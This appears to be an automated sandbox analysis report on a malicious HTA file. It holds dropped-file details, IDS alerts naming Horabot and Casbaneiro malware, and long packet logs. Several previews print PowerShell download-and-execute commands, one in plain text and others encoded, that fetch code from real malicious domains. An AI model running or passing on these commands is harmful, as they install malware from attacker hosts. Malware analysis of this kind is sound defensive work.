Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............r...r...r.......r.......r......r......r...s.6.r....\.r.......r......r......r.Rich..r.................PE..L...b@.X...........!.........n.......0.......................................p...........................................)..T...<.... ..0....................0...,..0................................{..@............................................text............................... ..`.rdata..@...........................@..@.data....[.......@..................@....rsrc...0.... ......................@..@.reloc...3...0...4..................@..B........................................................................................................................................................................................................................................................................................................................

C:\_zayqgx5_K\computer_zayqgx5_K

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (309), with CRLF line terminators
Category:	dropped
Size (bytes):	311
Entropy (8bit):	3.2821443895067426
Encrypted:	false
SSDEEP:
MD5:	9EEF5704EEE9804821E4FA15C3B3C0A2
SHA1:	FA7B0635100193C379E3293A4D86B3A102F8EA7E
SHA-256:	BB10F377964EC71C40F066BF1EC96076C60E00CC69A10F2FBB06B88324000051
SHA-512:	BB78D15F44395F1FE9B4960301B1663C861A1398BE5F907C7609BFD691514879EAEF586278915517E5DC593A7ACB462B6AD550E82600D98D8927C9E9A9795D51
Malicious:	false
Preview:	@14@12@17@24 @18@14@33 (@23@14@32-@24@11@19@14@12@29 @23@14@29.@32@14@11@12@21@18@14@23@29).@13@24@32@23@21@24@10@13@28@29@27@18@23@16('@17@29@29@25@28://@12@24@23@29@10@11@21@14@15@14@10.@28@17@24@25/@10/@0@8/@1@5@0@8@2@2/@30@25/@30@25') \| @25@24@32@14@27@28@17@14@21@21.@14@33@14 -@23@24@25 -@32@18@23 @1 -..

C:\_zayqgx5_K\computer_zayqgx5_Ky

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (309), with CRLF line terminators
Category:	dropped
Size (bytes):	311
Entropy (8bit):	3.2801789483263706
Encrypted:	false
SSDEEP:
MD5:	D09D8BA8EB918232C2181A573925F02D
SHA1:	475F9913FC282CCB2C47C9659D25F373F9242574
SHA-256:	D591F337B5E5093C9413CCA3DE6F59B1419F9B8B7A1F292F83B8714ED08D16F4
SHA-512:	2D24A3B52585A7BB144EA8936A01D2D27907DDEDAD7B4468C724FB9ABEB5FE5BBD114685543810BA90A0C8F70D400EAB6BEEC4D75372EA7D9504BA62EB2EB001
Malicious:	false
Preview:	@14@12@17@24 @18@14@33 (@23@14@32-@24@11@19@14@12@29 @23@14@29.@32@14@11@12@21@18@14@23@29).@13@24@32@23@21@24@10@13@28@29@27@18@23@16('@17@29@29@25@28://@12@24@23@29@10@11@21@14@15@14@10.@28@17@24@25/@10/@0@8/@1@5@0@8@2@2/@10@30/@10@30') \| @25@24@32@14@27@28@17@14@21@21.@14@33@14 -@23@24@25 -@32@18@23 @1 -..

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	88
Entropy (8bit):	4.707670505927966
Encrypted:	false
SSDEEP:
MD5:	2DB65D60C1A928B31EB7731A3CF244AA
SHA1:	4E0C9F511971DCBCF9903B04F46499AB357E3AAD
SHA-256:	B45ED98201D0E2000C544190B99C76598240FC7933C5300BD69259113B9E6706
SHA-512:	A1A74F5535CC137D061DA7F48F7B63C3A3D092B69AEEEA1A5BA2236366842BC7EB86FD3C2169D3B8A96BA60C1C6C11B83085EF42592504FAD939678D5A6118A4
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: \Device\ConDrv, Author: Joe Security
Preview:	iex (new-object net.webclient).downloadstring('https://contablebar.shop/ll2310/at3') ..

Static File Info

General

File type:	HTML document, Unicode text, UTF-8 text, with very long lines (24548)
Entropy (8bit):	4.269782315690365
TrID:	HyperText Markup Language (12001/1) 52.16% HyperText Markup Language (6006/1) 26.10% Synchronized Multimedia Integration Language (5002/2) 21.74%
File name:	copia111224mp.hta
File size:	24'719 bytes
MD5:	bb2a7b90e374742198a5c1e6abd6efa6
SHA1:	d26a90b5dad06d1a5fb5e5706fb502750f4fedf9
SHA256:	f178a97f40b1024df4065b028ca58705113b4b4b72566bc1f2d3cb5eb7eb779f
SHA512:	f4b52744e606d0beb00c71f402bc41e271e5460d995c1037661431739bdbd9632e3ead0397992979c74e6c7dda7b0f289c1d430d86988069372d62bdd8306629
SSDEEP:	384:120IC1+oNkCTU3wcohGIVp65w2OajgqLDluzEOjeCCpK29tS6F+UlC:1z51+UkCwk/6efajgqdEeTKu0A8
TLSH:	13B2F956A38901161AE3035BB90B55E3A6BDD430A34D5294E4EEC27C3ACA5ECC32F7E5
File Content Preview:	<html>.<head>..<script src="https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIB"></script>..</head>....<body>.voice testify esc..ndaloabandon partner other plenty controversial potential body teaspoon picture activist personally leg problem wealthy solid sigh

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-12T12:56:03.068721+0100	2052642	ET MALWARE Horabot Payload Inbound	1	159.100.18.13	443	192.168.11.20	49764	TCP
2024-12-12T12:56:03.068721+0100	2834717	ETPRO MALWARE PowerShell Inbound with Antivirus Enumeration and Downloading Capabilities	1	159.100.18.13	443	192.168.11.20	49764	TCP
2024-12-12T12:56:04.172028+0100	2841717	ETPRO MALWARE PowerShell/TrojanDownloader Casbaneiro CnC	1	192.168.11.20	49765	159.100.18.13	80	TCP
2024-12-12T12:56:16.699263+0100	2052642	ET MALWARE Horabot Payload Inbound	1	93.127.200.211	443	192.168.11.20	49766	TCP
2024-12-12T12:56:16.699263+0100	2834717	ETPRO MALWARE PowerShell Inbound with Antivirus Enumeration and Downloading Capabilities	1	93.127.200.211	443	192.168.11.20	49766	TCP
2024-12-12T12:56:17.653479+0100	2841717	ETPRO MALWARE PowerShell/TrojanDownloader Casbaneiro CnC	1	192.168.11.20	49767	159.100.18.13	80	TCP
2024-12-12T12:56:18.184711+0100	2841717	ETPRO MALWARE PowerShell/TrojanDownloader Casbaneiro CnC	1	192.168.11.20	49768	159.100.18.13	80	TCP
2024-12-12T12:57:01.660067+0100	2052642	ET MALWARE Horabot Payload Inbound	1	93.127.200.211	443	192.168.11.20	49774	TCP
2024-12-12T12:57:01.660067+0100	2834717	ETPRO MALWARE PowerShell Inbound with Antivirus Enumeration and Downloading Capabilities	1	93.127.200.211	443	192.168.11.20	49774	TCP
2024-12-12T12:57:02.387655+0100	2841717	ETPRO MALWARE PowerShell/TrojanDownloader Casbaneiro CnC	1	192.168.11.20	49775	159.100.18.13	80	TCP
2024-12-12T12:57:39.268164+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.20	49780	93.127.200.211	80	TCP
2024-12-12T12:57:39.887616+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.20	49780	93.127.200.211	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 12, 2024 12:55:58.015248060 CET	49761	443	192.168.11.20	159.100.18.13
Dec 12, 2024 12:55:58.015336990 CET	443	49761	159.100.18.13	192.168.11.20
Dec 12, 2024 12:55:58.015558004 CET	49761	443	192.168.11.20	159.100.18.13
Dec 12, 2024 12:55:58.029484034 CET	49761	443	192.168.11.20	159.100.18.13
Dec 12, 2024 12:55:58.029514074 CET	443	49761	159.100.18.13	192.168.11.20
Dec 12, 2024 12:55:58.479100943 CET	443	49761	159.100.18.13	192.168.11.20
Dec 12, 2024 12:55:58.479324102 CET	49761	443	192.168.11.20	159.100.18.13
Dec 12, 2024 12:55:58.513967991 CET	49761	443	192.168.11.20	159.100.18.13
Dec 12, 2024 12:55:58.513993979 CET	443	49761	159.100.18.13	192.168.11.20
Dec 12, 2024 12:55:58.514564991 CET	443	49761	159.100.18.13	192.168.11.20
Dec 12, 2024 12:55:58.514933109 CET	49761	443	192.168.11.20	159.100.18.13
Dec 12, 2024 12:55:58.517173052 CET	49761	443	192.168.11.20	159.100.18.13
Dec 12, 2024 12:55:58.562213898 CET	443	49761	159.100.18.13	192.168.11.20
Dec 12, 2024 12:55:58.911130905 CET	443	49761	159.100.18.13	192.168.11.20
Dec 12, 2024 12:55:58.911221027 CET	443	49761	159.100.18.13	192.168.11.20
Dec 12, 2024 12:55:58.911387920 CET	49761	443	192.168.11.20	159.100.18.13
Dec 12, 2024 12:55:58.913284063 CET	49761	443	192.168.11.20	159.100.18.13
Dec 12, 2024 12:55:58.913311005 CET	443	49761	159.100.18.13	192.168.11.20
Dec 12, 2024 12:56:01.985038996 CET	49764	443	192.168.11.20	159.100.18.13
Dec 12, 2024 12:56:01.985057116 CET	443	49764	159.100.18.13	192.168.11.20
Dec 12, 2024 12:56:01.985208035 CET	49764	443	192.168.11.20	159.100.18.13
Dec 12, 2024 12:56:01.989197016 CET	49764	443	192.168.11.20	159.100.18.13
Dec 12, 2024 12:56:01.989204884 CET	443	49764	159.100.18.13	192.168.11.20
Dec 12, 2024 12:56:02.423556089 CET	443	49764	159.100.18.13	192.168.11.20
Dec 12, 2024 12:56:02.423729897 CET	49764	443	192.168.11.20	159.100.18.13
Dec 12, 2024 12:56:02.424902916 CET	49764	443	192.168.11.20	159.100.18.13
Dec 12, 2024 12:56:02.424909115 CET	443	49764	159.100.18.13	192.168.11.20
Dec 12, 2024 12:56:02.425152063 CET	443	49764	159.100.18.13	192.168.11.20
Dec 12, 2024 12:56:02.429867029 CET	49764	443	192.168.11.20	159.100.18.13
Dec 12, 2024 12:56:02.474204063 CET	443	49764	159.100.18.13	192.168.11.20
Dec 12, 2024 12:56:02.853451014 CET	443	49764	159.100.18.13	192.168.11.20
Dec 12, 2024 12:56:02.853471994 CET	443	49764	159.100.18.13	192.168.11.20
Dec 12, 2024 12:56:02.853663921 CET	49764	443	192.168.11.20	159.100.18.13
Dec 12, 2024 12:56:02.853672028 CET	443	49764	159.100.18.13	192.168.11.20
Dec 12, 2024 12:56:02.853857040 CET	49764	443	192.168.11.20	159.100.18.13
Dec 12, 2024 12:56:02.906729937 CET	49764	443	192.168.11.20	159.100.18.13
Dec 12, 2024 12:56:03.068325996 CET	443	49764	159.100.18.13	192.168.11.20
Dec 12, 2024 12:56:03.068331003 CET	443	49764	159.100.18.13	192.168.11.20
Dec 12, 2024 12:56:03.068530083 CET	49764	443	192.168.11.20	159.100.18.13
Dec 12, 2024 12:56:03.068530083 CET	49764	443	192.168.11.20	159.100.18.13
Dec 12, 2024 12:56:03.068564892 CET	443	49764	159.100.18.13	192.168.11.20
Dec 12, 2024 12:56:03.068706036 CET	49764	443	192.168.11.20	159.100.18.13
Dec 12, 2024 12:56:03.068721056 CET	443	49764	159.100.18.13	192.168.11.20
Dec 12, 2024 12:56:03.068727016 CET	443	49764	159.100.18.13	192.168.11.20
Dec 12, 2024 12:56:03.068882942 CET	49764	443	192.168.11.20	159.100.18.13
Dec 12, 2024 12:56:03.068929911 CET	49764	443	192.168.11.20	159.100.18.13
Dec 12, 2024 12:56:03.070889950 CET	49764	443	192.168.11.20	159.100.18.13
Dec 12, 2024 12:56:03.413127899 CET	49765	80	192.168.11.20	159.100.18.13
Dec 12, 2024 12:56:03.630954981 CET	80	49765	159.100.18.13	192.168.11.20
Dec 12, 2024 12:56:03.631190062 CET	49765	80	192.168.11.20	159.100.18.13
Dec 12, 2024 12:56:03.631294966 CET	49765	80	192.168.11.20	159.100.18.13
Dec 12, 2024 12:56:03.849001884 CET	80	49765	159.100.18.13	192.168.11.20
Dec 12, 2024 12:56:03.849378109 CET	80	49765	159.100.18.13	192.168.11.20
Dec 12, 2024 12:56:03.852830887 CET	49765	80	192.168.11.20	159.100.18.13
Dec 12, 2024 12:56:04.113022089 CET	80	49765	159.100.18.13	192.168.11.20
Dec 12, 2024 12:56:04.121125937 CET	80	49765	159.100.18.13	192.168.11.20
Dec 12, 2024 12:56:04.172028065 CET	49765	80	192.168.11.20	159.100.18.13
Dec 12, 2024 12:56:09.126447916 CET	80	49765	159.100.18.13	192.168.11.20
Dec 12, 2024 12:56:09.126697063 CET	49765	80	192.168.11.20	159.100.18.13
Dec 12, 2024 12:56:15.938420057 CET	49766	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:56:15.938493967 CET	443	49766	93.127.200.211	192.168.11.20
Dec 12, 2024 12:56:15.938764095 CET	49766	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:56:15.946084976 CET	49766	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:56:15.946135044 CET	443	49766	93.127.200.211	192.168.11.20
Dec 12, 2024 12:56:16.274143934 CET	443	49766	93.127.200.211	192.168.11.20
Dec 12, 2024 12:56:16.274398088 CET	49766	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:56:16.275546074 CET	49766	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:56:16.275588989 CET	443	49766	93.127.200.211	192.168.11.20
Dec 12, 2024 12:56:16.276530027 CET	443	49766	93.127.200.211	192.168.11.20
Dec 12, 2024 12:56:16.280592918 CET	49766	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:56:16.322235107 CET	443	49766	93.127.200.211	192.168.11.20
Dec 12, 2024 12:56:16.550551891 CET	443	49766	93.127.200.211	192.168.11.20
Dec 12, 2024 12:56:16.550565004 CET	443	49766	93.127.200.211	192.168.11.20
Dec 12, 2024 12:56:16.550695896 CET	49766	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:56:16.550695896 CET	49766	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:56:16.550705910 CET	443	49766	93.127.200.211	192.168.11.20
Dec 12, 2024 12:56:16.550770998 CET	49766	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:56:16.591197014 CET	49766	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:56:16.698571920 CET	443	49766	93.127.200.211	192.168.11.20
Dec 12, 2024 12:56:16.698575020 CET	443	49766	93.127.200.211	192.168.11.20
Dec 12, 2024 12:56:16.698784113 CET	49766	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:56:16.698964119 CET	49766	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:56:16.698964119 CET	49766	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:56:16.698992968 CET	443	49766	93.127.200.211	192.168.11.20
Dec 12, 2024 12:56:16.699121952 CET	443	49766	93.127.200.211	192.168.11.20
Dec 12, 2024 12:56:16.699153900 CET	443	49766	93.127.200.211	192.168.11.20
Dec 12, 2024 12:56:16.699347973 CET	49766	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:56:16.699347973 CET	49766	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:56:16.701014996 CET	49766	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:56:16.899348021 CET	49767	80	192.168.11.20	159.100.18.13
Dec 12, 2024 12:56:17.121893883 CET	80	49767	159.100.18.13	192.168.11.20
Dec 12, 2024 12:56:17.122088909 CET	49767	80	192.168.11.20	159.100.18.13
Dec 12, 2024 12:56:17.122169971 CET	49767	80	192.168.11.20	159.100.18.13
Dec 12, 2024 12:56:17.344742060 CET	80	49767	159.100.18.13	192.168.11.20
Dec 12, 2024 12:56:17.345138073 CET	80	49767	159.100.18.13	192.168.11.20
Dec 12, 2024 12:56:17.350227118 CET	49767	80	192.168.11.20	159.100.18.13
Dec 12, 2024 12:56:17.464513063 CET	49768	80	192.168.11.20	159.100.18.13
Dec 12, 2024 12:56:17.603955030 CET	80	49767	159.100.18.13	192.168.11.20
Dec 12, 2024 12:56:17.653479099 CET	49767	80	192.168.11.20	159.100.18.13
Dec 12, 2024 12:56:17.680864096 CET	80	49768	159.100.18.13	192.168.11.20
Dec 12, 2024 12:56:17.681035995 CET	49768	80	192.168.11.20	159.100.18.13
Dec 12, 2024 12:56:17.681117058 CET	49768	80	192.168.11.20	159.100.18.13
Dec 12, 2024 12:56:17.896692991 CET	80	49768	159.100.18.13	192.168.11.20
Dec 12, 2024 12:56:17.897025108 CET	80	49768	159.100.18.13	192.168.11.20
Dec 12, 2024 12:56:17.897244930 CET	49768	80	192.168.11.20	159.100.18.13
Dec 12, 2024 12:56:18.142129898 CET	80	49768	159.100.18.13	192.168.11.20
Dec 12, 2024 12:56:18.184710979 CET	49768	80	192.168.11.20	159.100.18.13
Dec 12, 2024 12:56:22.609312057 CET	80	49767	159.100.18.13	192.168.11.20
Dec 12, 2024 12:56:22.609568119 CET	49767	80	192.168.11.20	159.100.18.13
Dec 12, 2024 12:56:23.144830942 CET	80	49768	159.100.18.13	192.168.11.20
Dec 12, 2024 12:56:23.145042896 CET	49768	80	192.168.11.20	159.100.18.13
Dec 12, 2024 12:56:35.194196939 CET	49765	80	192.168.11.20	159.100.18.13
Dec 12, 2024 12:57:00.908178091 CET	49774	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:00.908209085 CET	443	49774	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:00.908447027 CET	49774	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:00.909948111 CET	49774	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:00.909960032 CET	443	49774	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:01.213179111 CET	443	49774	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:01.213464022 CET	49774	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:01.214580059 CET	49774	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:01.214596033 CET	443	49774	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:01.214935064 CET	443	49774	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:01.218272924 CET	49774	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:01.266324043 CET	443	49774	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:01.510278940 CET	443	49774	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:01.510293961 CET	443	49774	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:01.510464907 CET	49774	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:01.510464907 CET	49774	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:01.510478020 CET	443	49774	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:01.510487080 CET	49774	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:01.565773010 CET	49774	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:01.659295082 CET	443	49774	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:01.659313917 CET	443	49774	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:01.659491062 CET	443	49774	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:01.659506083 CET	443	49774	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:01.659528971 CET	49774	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:01.659528971 CET	49774	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:01.659688950 CET	49774	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:01.659694910 CET	443	49774	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:01.659750938 CET	443	49774	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:01.659899950 CET	49774	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:01.659899950 CET	49774	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:01.660137892 CET	49774	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:01.846487045 CET	49775	80	192.168.11.20	159.100.18.13
Dec 12, 2024 12:57:02.062505960 CET	80	49775	159.100.18.13	192.168.11.20
Dec 12, 2024 12:57:02.062784910 CET	49775	80	192.168.11.20	159.100.18.13
Dec 12, 2024 12:57:02.062905073 CET	49775	80	192.168.11.20	159.100.18.13
Dec 12, 2024 12:57:02.278654099 CET	80	49775	159.100.18.13	192.168.11.20
Dec 12, 2024 12:57:02.279189110 CET	80	49775	159.100.18.13	192.168.11.20
Dec 12, 2024 12:57:02.283446074 CET	49775	80	192.168.11.20	159.100.18.13
Dec 12, 2024 12:57:02.387655020 CET	49775	80	192.168.11.20	159.100.18.13
Dec 12, 2024 12:57:02.528186083 CET	80	49775	159.100.18.13	192.168.11.20
Dec 12, 2024 12:57:02.528513908 CET	49775	80	192.168.11.20	159.100.18.13
Dec 12, 2024 12:57:08.109508038 CET	49768	80	192.168.11.20	159.100.18.13
Dec 12, 2024 12:57:08.109749079 CET	49767	80	192.168.11.20	159.100.18.13
Dec 12, 2024 12:57:22.846574068 CET	49776	80	192.168.11.20	159.100.18.13
Dec 12, 2024 12:57:23.062726974 CET	80	49776	159.100.18.13	192.168.11.20
Dec 12, 2024 12:57:23.063070059 CET	49776	80	192.168.11.20	159.100.18.13
Dec 12, 2024 12:57:23.063281059 CET	49776	80	192.168.11.20	159.100.18.13
Dec 12, 2024 12:57:23.279328108 CET	80	49776	159.100.18.13	192.168.11.20
Dec 12, 2024 12:57:23.279539108 CET	49776	80	192.168.11.20	159.100.18.13
Dec 12, 2024 12:57:23.495629072 CET	80	49776	159.100.18.13	192.168.11.20
Dec 12, 2024 12:57:23.525091887 CET	80	49776	159.100.18.13	192.168.11.20
Dec 12, 2024 12:57:23.526274920 CET	49776	80	192.168.11.20	159.100.18.13
Dec 12, 2024 12:57:23.742383957 CET	80	49776	159.100.18.13	192.168.11.20
Dec 12, 2024 12:57:23.742607117 CET	49776	80	192.168.11.20	159.100.18.13
Dec 12, 2024 12:57:33.331583023 CET	49777	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:33.331609011 CET	443	49777	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:33.331840992 CET	49777	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:33.333611012 CET	49777	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:33.333620071 CET	443	49777	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:33.638998985 CET	443	49777	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:33.639255047 CET	49777	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:33.640295982 CET	49777	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:33.640311956 CET	443	49777	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:33.640641928 CET	443	49777	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:33.643716097 CET	49777	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:33.686227083 CET	443	49777	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:33.935375929 CET	443	49777	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:33.935448885 CET	443	49777	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:33.935570955 CET	443	49777	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:33.935808897 CET	49777	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:33.936068058 CET	49777	443	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:38.789762974 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:38.938606024 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:38.938847065 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:38.938939095 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.087531090 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.088222980 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.118644953 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.267916918 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.267930031 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.267940044 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.267963886 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.268163919 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.268199921 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.268212080 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.268222094 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.268232107 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.268249035 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.268259048 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.268268108 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.268376112 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.268445015 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.417123079 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.417135954 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.417146921 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.417155981 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.417165995 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.417176008 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.417305946 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.417325974 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.417340994 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.417458057 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.417470932 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.417480946 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.417507887 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.417510986 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.417510986 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.417516947 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.417526007 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.417536020 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.417618990 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.417670965 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.417674065 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.417674065 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.417675018 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.417721987 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.417856932 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.417969942 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.566082001 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.566095114 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.566107035 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.566123009 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.566134930 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.566247940 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.566396952 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.566407919 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.566421032 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.566431046 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.566456079 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.566467047 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.566476107 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.566485882 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.566494942 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.566504955 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.566514015 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.566571951 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.566586018 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.566586018 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.566732883 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.566821098 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.566833019 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.566843033 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.566852093 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.566860914 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.566870928 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.566870928 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.566880941 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.566890955 CET	80	49780	93.127.200.211	192.168.11.20
